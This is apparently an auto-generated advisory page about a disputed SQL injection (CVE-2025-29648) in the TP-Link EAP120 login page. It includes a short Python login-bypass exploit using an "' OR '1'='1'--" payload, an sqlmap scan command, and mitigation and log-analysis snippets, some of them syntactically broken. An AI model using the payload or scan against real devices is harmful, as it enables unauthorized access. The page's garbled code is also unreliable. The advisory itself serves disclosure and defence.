How CVE-2025-29648 Works
This SQL injection vulnerability in TP-Link EAP120 (v1.0) occurs due to improper sanitization of user-supplied input in the login dashboard. An attacker can craft malicious SQL queries in the username or password fields, which are then executed by the backend database. The lack of input validation allows bypassing authentication or extracting sensitive data. The issue is disputed because it was only reproduced on a supplier-provided emulator with disabled access controls, but real-world exploitation remains possible if similar misconfigurations exist.
DailyCVE Form:
Platform: TP-Link EAP120
Version: 1.0
Vulnerability: SQL Injection
Severity: Critical
Date: 04/24/2025
What Undercode Say:
Exploitation:
import requests
target = "http://192.168.1.1/login"
payload = "admin' OR '1'='1'--"
data = {"username": payload, "password": "any"}
response = requests.post(target, data=data)
if "Welcome" in response.text:
print("[+] Exploit successful!")
Protection:
1. Apply input sanitization:
$username = mysqli_real_escape_string($conn, $_POST['username']);
2. Use prepared statements:
String query = "SELECT FROM users WHERE username = ? AND password = ?"; PreparedStatement stmt = conn.prepareStatement(query); stmt.setString(1, username);
Detection:
sqlmap -u "http://target/login" --data="username=test&password=test" --risk=3
Mitigation:
- Update firmware to latest version.
- Implement WAF rules to filter SQLi patterns.
- Disable debug/emulator modes in production.
Analytics:
- Attack Vector: Network
- Complexity: Low
- Privileges Required: None
- User Interaction: Not Required
- Impact: Confidentiality, Integrity
Log Analysis:
SELECT FROM auth_log WHERE request LIKE "%' OR '%'='%";
Patch Verification:
curl -I http://192.168.1.1/version | grep "X-Firmware: 1.1"
